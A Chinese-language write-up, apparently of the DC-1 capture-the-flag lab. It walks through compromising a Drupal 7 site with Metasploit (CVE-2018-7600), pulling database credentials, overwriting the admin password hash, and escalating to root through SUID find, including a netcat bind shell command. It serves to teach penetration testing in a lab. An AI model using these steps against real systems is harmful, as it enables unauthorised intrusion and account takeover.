背景
每个靶机作者都对靶机做了详细的描述以及攻击目标,比如DC1就需要找到5个flag,最终目标是在root的主目录中找到并读取该标志!
通过每个flag所获得知识点
1、msf的熟练使用以及搜索可利用漏洞(Drupal)
2、留意目标网站的配置文件
3、数据库管理员提权(更新管理员密码或者添加一个新用户)
4、suid提权的命令(nmap、vim、find、bash、more、less、nano、cp)
环境配置
开始之前让我们先来看看靶机与攻击机的配置,两者均是NAT模式
kali ip:192.168.13.128
靶机复现
开启DC1靶机后 无法得到IP地址
首先使用NMAP探测靶机IP地址
nmap -sP 192.168.13.1/24
得到靶机地址为192.168.13.130
扫描开放端口
开放了80、22、111端口
访问其80端口查看
通过插件得知这是一个Drupal7的一个cms
使用msf搜索Drupal可以利用的漏洞
可以逐个进行尝试
Drupal系统没有对表单API接口的AJAX请求输入进行充分的检查,这就使得攻击者能够向内部表单结构中注入一个恶意的载荷,将导致Drupal系统在未进行用户认证的情况下执行这个载荷形成一个RCE(CVE-2018-7600)
使用msf搜索Drupal可以利用的漏洞
可以逐个进行尝试
Drupal系统没有对表单API接口的AJAX请求输入进行充分的检查,这就使得攻击者能够向内部表单结构中注入一个恶意的载荷,将导致Drupal系统在未进行用户认证的情况下执行这个载荷形成一个RCE(CVE-2018-7600)
设置攻击目标
发送载荷
可以看到成功获取一个session
我们可以看到打开session连接到靶机,接下来我们利用python反弹一个交互的shell。
python -c 'import pty;pty.spawn("/bin/bash")'
可以理解为pty是ilnux下面一个shell的东西吧
spawn指pty模块的生成一个进程
查看当前目录下的文件
发现flag1
说的是一个好的cms都有一个配置文件
百度一下Drupal的配置文件信息 发现在sites/default/settings.php
查看配置文件 发现数据库配置信息
获取了数据库账号和密码
连接数据库查看
可以看到他数据库加密应该用了自己的hash算法
到此,我们看到了flag3到底在哪里了(uid为1的用户是不受Drupal权限管制的,具有最高权限。)现在我们有两个思路:
1利用他的hash算法 生成一个新密码 替换掉他原来的密码
show databases;
use drupaldb;
show tables;
select * from users\G
有admin用户 那我们就修改admin的密码吧
找到其hash生成脚本的位置
/scripts/password-hash.sh
生成123456的hash值
$S$DXvKlt9dPso2DcfTNuxg.UHrc0./5WH6Wo386X1OiQ.ciNuTHwED
update users set pass="$S$DXvKlt9dPso2DcfTNuxg.UHrc0./5WH6Wo386X1OiQ.ciNuTHwED" where name="admin";
查看是否修改成功
使用admin 123465登录
可以看到成功了
2添加一个管理员权限的用户
看一下有没有适用的脚本去添加用户
发现只要小于7.31即可利用:
添加一个名为user 密码123456的管理员用户
可以看到添加成功
成功登陆并且获取到flag3
根据提示查看文件
flag4提示我们在home目录下
查看
或者对flag4用户进行爆破也是可以的
顺利得到flag4,同时根据提示(你可以用相同的方法在root目录下)找到最终flag。
使用suid提权
查找一下具有root权限的其他命令
以下几条均可查询:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb { }
发现find命令本身就是root权限,那我们查看一下:
的确是root权限
进行提权
两种方法
- 借用find命令获取一个root权限的shell
find ./ kevin -exec '/bin/sh' ;
2.使用netcat
既然所有通过find执行的命令都是root权限,那我们利用netcat,可以将它提权为root 权限,首先我们创建一个文件。
touch kevin
find kevin -exec whoami \;
继续利用find将netcat提权为root权限。
find kevin -exec nc -lvp 5555 -e "/bin/sh" \;
nc 192.168.13.130 5555
成功获取最终flag
还不快抢沙发